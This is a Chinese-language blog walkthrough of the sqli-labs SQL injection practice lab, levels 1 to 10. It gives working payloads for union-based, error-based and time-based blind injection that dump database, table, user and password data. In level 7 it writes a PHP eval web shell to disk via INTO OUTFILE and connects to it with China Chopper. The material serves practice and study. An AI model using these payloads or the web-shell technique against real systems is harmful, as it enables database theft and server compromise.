種一棵樹最好的時間是10年前,其次是現在。
忘了是誰

前言
說實話,由于前段時間學 python?,對于 OWASP TOP10?漏洞的學習都有所落下,雖然現在也在慢慢復習當中,但是今晚談及的 SQL 注入漏洞手動注入和自動化(sqlmap)注入的一些知識時,不免有些語塞,有些命令都已經開始淡忘,想想得補一補,于是就打算拿 sqli-labs?這個SQL 注入專屬練習靶場來重溫一下,順便把之前寫得博文搬到公眾號上來。
豬(鄙夷的目光):文字的搬運工。。。
匠(撓撓頭):后續對于這個靶場的自動化(sqlmap)注入姿勢也總結一下吧,順便復習一下 sqlmap 。

環境準備
phpstydy?
firefox?瀏覽器
HackBar?插件
sqli-labs?源碼
sublime??
中國菜刀
hackbar 插件新版的要錢,可以去下載舊版的,或者有其他替代品,功能也差不多

less1
源碼分析
采用?get?方法接收用戶輸入
單引號閉合參數
參數拼接?sql?語句進行數據庫查詢
01
查看數據表列數?
猜測列數為 3 ,回顯正常
index.php?id=1'?order?by?3?--+
猜測列數為 4 ,出現錯誤,說明當前數據表列數為 3 。
02
union查詢
注:MySQL5.0?之后有一個?information_schema 數據庫
查看回顯位,可以得知數字 2 和 3 可以回顯。
index.php?id=0'?union?select?1,2,3?--+
利用回顯位查看數據庫相關信息
index.php?id=0'?union?select?1,version(),database()?--+
爆出 security 的所有表
index.php?id=0'?union?select?1,(select?group_concat(table_name)?from?information_schema.tables?where?table_schema='security'),database()?--+
查看 users 表下的所有列
index.php?id=0'?union?select?1,(select?group_concat(column_name)?from?information_schema.columns?where?table_schema='security'?and?table_name='users'),database()?--+
查看 users 表下的所有數據
index.php?id=0'?union?select?1,(select?group_concat(username,'-')?from?security.users),(select?group_concat(password)?from?security.users)?--+

less2
源碼分析
?直接獲取用戶輸入
sql?語句拼接
和 Less1 相比就是在進行 sql 語句拼接的時候沒有對參數進行單引號引用。思路和 Less1 一樣,就是不用閉合單引號和注釋后面無關內容而已。
01
union注入
index.php?id=0?union?select?1,2,3

less3
源碼分析
?直接說去用戶輸入
拼接?sql?語句時將參數用單引號+括號進行引用
對單引號和括號進行閉合即可,同時使用注釋符將無用部分注釋掉,注入思路和 Less1 一樣。
01
union注入
index.php?id=0')?union?select?1,2,3?--+

less4
源碼分析
?直接獲取用戶輸入
對參數進行雙引號+括號引用
對雙引號和括號進行閉合,注入思路和 Less 1 一樣。

less5
源碼分析
?直接獲取用戶輸入
對參數進行單引號引用
沒有數據回顯
有錯誤信息回顯
01
報錯注入
報錯注入會涉及三個函數 floor、updatexml、extractvalue。
MySQL_v5.0.96 還有 floor?報錯注入,高版本的沒有。
MySQL 5.1.5 版本種添加了對?XML?文檔進行查詢和修改的兩個函數:extractvalue 和?updatexml 。
三個函數的運用格式如下:
floor
select?1?from?(select count(*), concat((database()),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a
updatexml
updatexml(1,concat(0x7e,(database()),0x7e),1)
extractvalue
extractvalue(1,concat(0x7e,(database()),0x7e))
這里主要拿 floor?函數來做演示。可以拆分為幾部分方便記憶。
select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj?=?payload,floor(rand(0)*2)
顯示當前數據庫
index.php?id=0'?and?(select?1?from(select?count(*),concat((database()),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+
顯示當前數據庫下所有表,這里使用 group_concat() 顯示所有表,出現錯誤 “信息超過一行” 。
index.php?id=1'?and?(select?1?from(select?count(*),concat((select?table_name?from?information_schema.tables?where?table_schema='security'?limit?0,1),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+
使用 limit 一個一個顯示出來。
ps: 這里的 limit 0,1 代表第一個數據;limit 1,1 代表第二個數據
index.php?id=1'and?(select?1?from(select?count(*),concat((select?table_name?from?information_schema.tables?where?table_schema='security'?limit?0,1),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+

less6
源碼分析漏洞利用
直接獲取用戶輸入
雙引號應用參數
沒有數據信息回顯
有錯誤信息回顯
相比于 Less 5,這里的參數用雙引號引用,注意雙引號閉合,注釋符的使用即可,解題思路和 Less 5 一樣。

less7
源碼分析
直接獲取用戶參數
用雙括號+雙引號引用參數
沒有數據信息回顯
mysql_error()函數被注釋
頁面提示我們 outfile 命令寫入木馬文件
這種方法的關鍵之處在于知道網站在系統的絕對路徑和能夠找到寫入文件的路徑,之后用菜刀進行連接。
注:反斜杠 \?是轉義字符,這里使用雙反斜杠 \\?表示反斜杠;也可以使用正斜杠 / 代替反斜杠;也開始使用 r 將引號里面的內容定義為字符串,如:r"C:\\phpStudy2013\\WWW\\script.php"
index.php?id=-1'))?union?select?1,"<?php ?@eval($_POST['pass']);?>",3?into?outfile?"C:\\phpStudy2013\\WWW\\script.php"?--+
之后訪問上傳的一句話文件。
使用菜刀連接

less8
源碼分析
直接獲取用戶參數
單引號引用參數
沒有數據信息回顯
也沒有錯誤信息回顯
01
時間盲注
沒有錯誤信息回顯,那報錯注入的方法就行不通,可以試一試時間盲注。
判斷時間盲注的方法先是id=1' or sleep(1) # ,如果延時則存在延時注入
時間盲注的格式如下:
if((判斷條件),(條件為 true 時執行),(條件為 false 執行))
if(ascii(substring(database()),1,1)=115,sleep(1),1)
猜測當前數據庫,若當前數據庫的第一個字母的 ASCII碼大于0,則延時5秒。
index.php?id=1'?and?if(ascii(substring(database(),1,1))>0,sleep(5),1)?--+
猜測得出第一個字母位's',ascii(s) = 115
index.php?id=1'?and?if(ascii(substring(database(),1,1))=115,sleep(5),1)?--+
以此類推去猜,費勁,一般報錯注入/時間盲注這些比較費時的操作都交給 sqlmap 去自動化注入比較省事。

less9
源碼分析
直接獲取用戶輸入
單引號引用,參數拼接
沒有數據回顯
沒有錯誤信息回顯
時間盲注,注意單引號閉合,思路和 Less 8 一樣。

less10
源碼分析
直接獲取用戶參數
雙引號引用參數進行?sql?語句拼接
沒有數據回顯
沒有錯誤信息回顯
時間盲注,注意雙引號的閉合,注入思路和 Less 8 一樣。

尾聲
我是匠心,一個在清流旁默默磨劍的匠人,希望有一天能利刃出鞘,仗劍走江湖。
留言區